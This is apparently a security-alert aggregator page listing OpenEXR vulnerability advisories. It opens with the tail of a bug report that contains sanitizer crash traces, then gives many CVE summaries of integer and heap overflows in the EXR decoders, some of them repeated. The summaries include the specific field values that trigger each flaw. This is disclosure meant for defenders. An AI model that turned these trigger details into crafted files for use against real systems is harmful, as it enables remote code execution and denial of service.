c InputFile / ScanLineInputFile public read -> exrdecodingrun(...) -> exruncompresschunk(...) -> internalexrundodwaa(...) -> DwaCompressoruncompress(...) -> LossyDctDecoderexecute(...)

UBSan gives a clean root-cause diagnosis on the overflowing multiply, while ASAN shows the later memory error in the write-side decode path.

Reproduction

dwascanlineexrcheck.zip

Build with exrcheck with ASAN and run:

❯ ./build-asan/bin/exrcheck /tmp/dwascanlineexrcheck.exr file /tmp/dwascanlineexrcheck.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:331:58: runtime error: signed integer overflow: 33554432 64 cannot be represented in type 'int' AddressSanitizer:DEADLYSIGNAL ================================================================= ==1684058==ERROR: AddressSanitizer: SEGV on unknown address 0x758f8e5f0800 (pc 0x75979e850336 bp 0x7ffe8f1d3420 sp 0x7ffe8f1d30f0 T0) ==1684058==The signal is caused by a WRITE memory access. #0 0x75979e850336 in LossyDctDecoderexecute /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 #1 0x75979e879592 in DwaCompressoruncompress /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwacompressor.h:1210 #2 0x75979e879592 in internalexrundodwaa /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwa.c:231 #3 0x75979e95f878 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:542 #4 0x75979e9659a8 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7597a0271add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7597a0283dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7597a00c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7597a13fe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7597a1405b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7597a14126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7597a14146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x61ba9582b8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x61ba958282b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x75979d62a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x75979d62a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x61ba95829844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 in LossyDctDecoderexecute ==1684058==ABORTING ------- Found by: Quang Luong of Calif.io

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
Integer Overflow
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1722 performs curc->width curc->height in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other locations by the recent CVE-2026-34589 batch, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1722.

First published (updated )
Severity
8.4
Integer Overflow
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1040 performs chan->width chan->bytesperelement in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other decoders by CVE-2026-34589/34588/34544, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1040.

First published (updated )
Severity
8.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.4.0 through 3.4.11, the HTJ2K (High-Throughput JPEG 2000) decoder, htundoimpl() in OpenEXRCore is vulnerable to a heap-buffer-overflow READ. The htundoimp function copies decoded pixels out of a per-line OpenJPH buffer using the EXR channel's declared width as the iteration count. The codestream embedded in the EXR chunk can declare different (smaller) tile/line dimensions than the EXR header advertises, but htundoimpl() does not validate this — it pulls width 32-bit samples from curline->i32[] without checking the OpenJPH line buffer's actual length. A crafted EXR file produces a 4-byte heap-buffer-overflow READ immediately after a buffer allocated by ojph::local::codestream::finalizealloc(). The bug is reachable through the standard scanline-decode entry point used by every consumer of exrdecodingrun/Imf::checkOpenEXRFile, including thumbnailers, asset pipelines, and the exrcheck utility — i.e. any application that opens untrusted EXR files. The result is a deterministic crash (DoS) and potential adjacent-heap leak. This issue has been fixed in version 3.4.12.

First published (updated )
Severity
7.8
Buffer Overflow
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27946.

1 / 2
Source: MITRE
First published (updated )
Severity
7.8
Buffer Overflow
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27948.

1 / 2
Source: MITRE
First published (updated )
Severity
7.8
Buffer Overflow
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27947.

1 / 2
Source: MITRE
First published (updated )
Severity
7.8
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

In OpenEXR 2.2.0, a crafted image causes a heap-based buffer over-read in the hufDecode function in IlmImf/ImfHuf.cpp during exrmaketiled execution; it may result in denial of service or possibly unspecified other impact.

1 / 2
Source: Launchpad
First published (updated )
Severity
7.5
Buffer Overflow, Integer Overflow
AV:N/AC:L/Au:N/C:P/I:P/A:P

Multiple integer overflows in OpenEXR 1.2.2 and 1.6.1 allow context-dependent attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unspecified vectors that trigger heap-based buffer overflows, related to (1) the Imf::PreviewImage::PreviewImage function and (2) compressor constructors. NOTE: some of these details are obtained from third party information.

First published (updated )
Severity
7.1
Incorrect Type Cast
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoderexecute() in src/lib/OpenEXRCore/internaldwadecoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8t row pointer to float and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.

First published (updated )
Severity
7.1
Integer Overflow, Buffer Overflow
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.4.0 through 3.4.11, an integer overflow in htundoimpl() in src/lib/OpenEXRCore/internalht.cpp leads to a heap-buffer overflow when decoding a crafted HTJ2K-compressed EXR file. decode->channels[i].width (int32t) is multiplied by bytesperelement in 32-bit signed arithmetic. With large widths (e.g., >= 536870912 for FLOAT data), this overflows, producing a corrupted offset that is later used for pointer arithmetic and can cause a heap out-of-bounds write. The same unchecked multiplication pattern appears in two other HTJ2K paths (bytes-per-line accumulation and pixel-line pointer advancement). As with related CVE-2026-34378 through CVE-2026-34589 fixes in other codecs, validating only after the multiplication is too late because the value may already be overflowed. This issue has been fixed in version 3.4.12.

First published (updated )
Severity
7

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> totalsizes for attacker-controlled large counts across many parts, totalsizes[ptr] wraps modulo 2^32. overallsamplecount is then derived from wrapped totals and used in samples[channel].resize(overallsamplecount). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (genericunpackdeeppointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.

First published (updated )
Severity
7

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.1.0 to before 3.2.7, 3.3.9, and 3.4.9, internalexrundopiz() advances the working wavelet pointer with signed 32-bit arithmetic. Because nx, ny, and wcount are int, a crafted EXR file can make this product overflow and wrap. The next channel then decodes from an incorrect address. The wavelet decode path operates in place, so this yields both out-of-bounds reads and out-of-bounds writes. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.

First published (updated )
Severity
7

OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.4.0 through 3.4.11, the HTJ2K (High-Throughput JPEG 2000) decoder, htundoimpl() in OpenEXRCore is vulnerable to a heap-buffer-overflow READ. The htundoimp function copies decoded pixels out of a per-line OpenJPH buffer using the EXR channel's declared width as the iteration count. The codestream embedded in the EXR chunk can declare different (smaller) tile/line dimensions than the EXR header advertises, but htundoimpl() does not validate this — it pulls width 32-bit samples from curline->i32[] without checking the OpenJPH line buffer's actual length. A crafted EXR file produces a 4-byte heap-buffer-overflow READ immediately after a buffer allocated by ojph::local::codestream::finalizealloc(). The bug is reachable through the standard scanline-decode entry point used by every consumer of exrdecodingrun/Imf::checkOpenEXRFile, including thumbnailers, asset pipelines, and the exrcheck utility — i.e. any application that opens untrusted EXR files. The result is a deterministic crash (DoS) and potential adjacent-heap leak. This issue has been fixed in version 3.4.12.

First published (updated )
Severity
7

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.7, an attacker providing a crafted .exr file with HTJ2K compression and a channel width of 32768 can write controlled data beyond the output heap buffer in any application that decodes EXR images. The write primitive is 2 bytes per overflow iteration or 4 bytes (by another path), repeating for each additional pixel past the overflow point. In this context, a heap write overflow can lead to remote code execution on systems. This issue has been patched in version 3.4.7.

First published (updated )
Severity
7

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, the DWA lossy decoder constructs temporary per-component block pointers using signed 32-bit arithmetic. For a large enough width, the calculation overflows and later decoder stores operate on a wrapped pointer outside the allocated rowBlock backing store. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.

First published (updated )
Severity
7

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoderexecute() in src/lib/OpenEXRCore/internaldwadecoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8t row pointer to float and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.

First published (updated )
Severity
7

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1722 performs curc->width curc->height in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other locations by the recent CVE-2026-34589 batch, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1722.

First published (updated )
Severity
7
Integer Overflow

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, there is an integer overflow in ImageChannel::resize that leads to heap OOB write via OpenEXRUtil public API. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.

First published (updated )
Severity
6.8
Buffer Overflow
AV:N/AC:M/Au:N/C:P/I:P/A:P

Heap-based buffer overflow in the compression implementation in OpenEXR 1.2.2 allows context-dependent attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unspecified vectors.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203